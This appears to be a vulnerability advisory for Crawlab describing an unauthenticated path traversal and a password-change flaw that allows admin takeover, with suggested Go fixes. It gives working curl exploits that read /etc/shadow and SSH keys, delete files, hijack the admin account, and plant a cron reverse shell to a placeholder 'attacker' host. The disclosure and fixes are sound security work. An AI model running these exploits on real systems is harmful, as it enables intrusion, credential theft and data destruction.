[Security] Critical Path Traversal - Unauthenticated Arbitrary File Read/Write/Delete (CVSS 9.8)

RegisterActions(groups.AnonymousGroup, "/sync", []Action{
    {
        Method:      http.MethodGet,
        Path:        "/:id/scan",
        HandlerFunc: GetSyncScan,
    },
    {
        Method:      http.MethodGet,
        Path:        "/:id/download",
        HandlerFunc: GetSyncDownload,
    },
})

func GetSyncScan(c *gin.Context) {
    id := c.Param("id")
    path := c.Query("path")                          // User input, no validation

    workspacePath := viper.GetString("workspace")
    dirPath := filepath.Join(workspacePath, id, path) // Path traversal!
    files, err := utils.ScanDirectory(dirPath)
    // ...
}

func GetSyncDownload(c *gin.Context) {
    id := c.Param("id")
    path := c.Query("path")                          // User input, no validation
    workspacePath := viper.GetString("workspace")
    filePath := filepath.Join(workspacePath, id, path) // Path traversal!
    c.File(filePath)
}

filepath.Join("/root/crawlab_workspace", "anything", "../../../etc/passwd")
// resolves to: "/etc/passwd"

func (svc *ServiceV2) GetFile(path string) (data []byte, err error) {
    return os.ReadFile(filepath.Join(svc.rootPath, path))    // No validation
}

func (svc *ServiceV2) Save(path string, data []byte) (err error) {
    return os.WriteFile(filepath.Join(svc.rootPath, path), data, 0644)  // No validation!
}

func (svc *ServiceV2) Delete(path string) (err error) {
    fullPath := filepath.Join(svc.rootPath, path)
    return os.RemoveAll(fullPath)                            // No validation!
}

# Directory enumeration — list /etc
curl -s "http://target:8080/sync/anything/scan?path=../../../etc" | python3 -m json.tool

# Read /etc/passwd
curl -s "http://target:8080/sync/anything/download?path=../../../etc/passwd"

# Read Crawlab configuration
curl -s "http://target:8080/sync/anything/download?path=../../../root/.crawlab.yaml"

# Read SSH private keys
curl -s "http://target:8080/sync/anything/download?path=../../../root/.ssh/id_rsa"

# Read /etc/shadow (requires authentication)
curl -s -H "Authorization: Bearer <token>" \
  "http://target:8080/spiders/test/files/get?path=../../../../etc/shadow"

# Write cron job for reverse shell persistence (requires --exploit confirmation)
curl -s -X POST -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"path":"../../../../var/spool/cron/crontabs/root","data":"* * * * * /bin/bash -c '\''bash -i >& /dev/tcp/attacker/4444 0>&1'\''"}' \
  "http://target:8080/spiders/test/files/save"

# Delete arbitrary file (requires --exploit confirmation)
curl -s -X DELETE -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"path":"../../../../important_file"}' \
  "http://target:8080/spiders/test/files"

# Safe defaults: scan /etc and read /etc/passwd (no auth needed)
python3 poc_crawlab_path_traversal.py --target http://target:8080

# Read specific file
python3 poc_crawlab_path_traversal.py --target http://target:8080 --download /etc/shadow

# Authenticated read
python3 poc_crawlab_path_traversal.py --target http://target:8080 \
  --auth "Bearer <token>" --auth-read /etc/shadow

# Authenticated write (requires --exploit flag)
python3 poc_crawlab_path_traversal.py --target http://target:8080 \
  --auth "Bearer <token>" --exploit --auth-write /tmp/poc_test "hello"

// BEFORE (vulnerable)
RegisterActions(groups.AnonymousGroup, "/sync", []Action{...})

// AFTER (fixed)
RegisterActions(groups.AuthGroup, "/sync", []Action{...})

// utils/path.go
package utils

import (
    "errors"
    "os"
    "path/filepath"
    "strings"
)

// ValidatePath ensures that `resolved` is a child of `base`.
// It resolves symlinks and rejects any path that escapes the base directory.
func ValidatePath(base, userPath string) (string, error) {
    // Clean both paths to canonical form
    cleanBase := filepath.Clean(base)
    resolved := filepath.Clean(filepath.Join(base, userPath))

    // Resolve symlinks to prevent symlink-based escapes
    realBase, err := filepath.EvalSymlinks(cleanBase)
    if err != nil {
        return "", err
    }
    realResolved, err := filepath.EvalSymlinks(resolved)
    if err != nil {
        // File may not exist yet (for write operations)
        realResolved = resolved
    }

    // Ensure the resolved path starts with the base path + separator
    if !strings.HasPrefix(realResolved, realBase+string(os.PathSeparator)) &&
        realResolved != realBase {
        return "", errors.New("path traversal detected: resolved path escapes base directory")
    }

    return realResolved, nil
}

func GetSyncScan(c *gin.Context) {
    id := c.Param("id")
    path := c.Query("path")

    workspacePath := viper.GetString("workspace")
    basePath := filepath.Join(workspacePath, id)

    // Validate: resolved path must stay within basePath
    dirPath, err := utils.ValidatePath(basePath, path)
    if err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": "invalid path"})
        return
    }

    files, err := utils.ScanDirectory(dirPath)
    // ...
}

func GetSyncDownload(c *gin.Context) {
    id := c.Param("id")
    path := c.Query("path")

    workspacePath := viper.GetString("workspace")
    basePath := filepath.Join(workspacePath, id)

    filePath, err := utils.ValidatePath(basePath, path)
    if err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": "invalid path"})
        return
    }

    c.File(filePath)
}

func (svc *ServiceV2) GetFile(path string) (data []byte, err error) {
    resolved, err := utils.ValidatePath(svc.rootPath, path)
    if err != nil {
        return nil, err
    }
    return os.ReadFile(resolved)
}

func PostUserChangePassword(c *gin.Context) {
    id, err := primitive.ObjectIDFromHex(c.Param("id"))
    if err != nil {
        HandleErrorBadRequest(c, err)
        return
    }

    var payload struct {
        Password string `json:"password"`
    }
    if err := c.ShouldBindJSON(&payload); err != nil {
        HandleErrorBadRequest(c, err)
        return
    }

    u := GetUserFromContextV2(c)   // Current logged-in user (attacker)
    user, err := modelSvc.GetById(id)  // Target user (from URL parameter — NO ownership check)
    if err != nil {
        HandleErrorNotFound(c, err)
        return
    }

    user.SetUpdated(u.Id)
    user.Password = utils.EncryptMd5(payload.Password)  // Set new password — NO old password verification

    if err := modelSvc.ReplaceById(user.Id, *user); err != nil {
        HandleErrorInternalServerError(c, err)
        return
    }

    c.JSON(http.StatusOK, gin.H{"ok": true})
}

func PutUserById(c *gin.Context) {
    ...
    u := GetUserFromContextV2(c)
    if u.Id != id {
        HandleErrorForbidden(c, errors.New("only the user themselves can update their profile"))
        return
    }
    ...
}

RegisterController(groups.AuthGroup, "/users", NewControllerV2[models2.UserV2]([]Action{
    ...
    {
        Method:      http.MethodPost,
        Path:        "/:id/change-password",
        HandlerFunc: PostUserChangePassword,
    },
}...))

DefaultAdminUsername = "admin"
DefaultAdminPassword = "admin"

# Step 1: Authenticate as a regular user (register if needed)
# Register
curl -s -X POST http://target:8080/api/v1/users/signup \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"attacker123","email":"[email protected]"}'

# Login
TOKEN=$(curl -s -X POST http://target:8080/api/v1/users/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"attacker123"}' | jq -r '.data.token')

# Step 2: Enumerate users to find admin's ObjectID
ADMIN_ID=$(curl -s http://target:8080/api/v1/users \
  -H "Authorization: Bearer $TOKEN" | jq -r '.data.list[] | select(.username=="admin") | .id')
echo "Admin ID: $ADMIN_ID"

# Step 3: Change admin's password without knowing the current one
curl -s -X POST "http://target:8080/api/v1/users/${ADMIN_ID}/change-password" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"password":"pwned2026"}'

# Step 4: Log in as admin with the new password
ADMIN_TOKEN=$(curl -s -X POST http://target:8080/api/v1/users/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"pwned2026"}' | jq -r '.data.token')
echo "Admin token: $ADMIN_TOKEN"

func PostUserChangePassword(c *gin.Context) {
    id, err := primitive.ObjectIDFromHex(c.Param("id"))
    if err != nil {
        HandleErrorBadRequest(c, err)
        return
    }

    u := GetUserFromContextV2(c)

    // FIX 1: Verify the current user is the target user
    if u.Id != id {
        HandleErrorForbidden(c, errors.New("you can only change your own password"))
        return
    }

    // ... rest of the function
}

var payload struct {
    Password    string `json:"password"`     // New password
    OldPassword string `json:"old_password"` // Current password (required)
}

if err := c.ShouldBindJSON(&payload); err != nil {
    HandleErrorBadRequest(c, err)
    return
}

// FIX 2: Verify the old password matches
if utils.EncryptMd5(payload.OldPassword) != user.Password {
    HandleErrorUnauthorized(c, errors.New("current password is incorrect"))
    return
}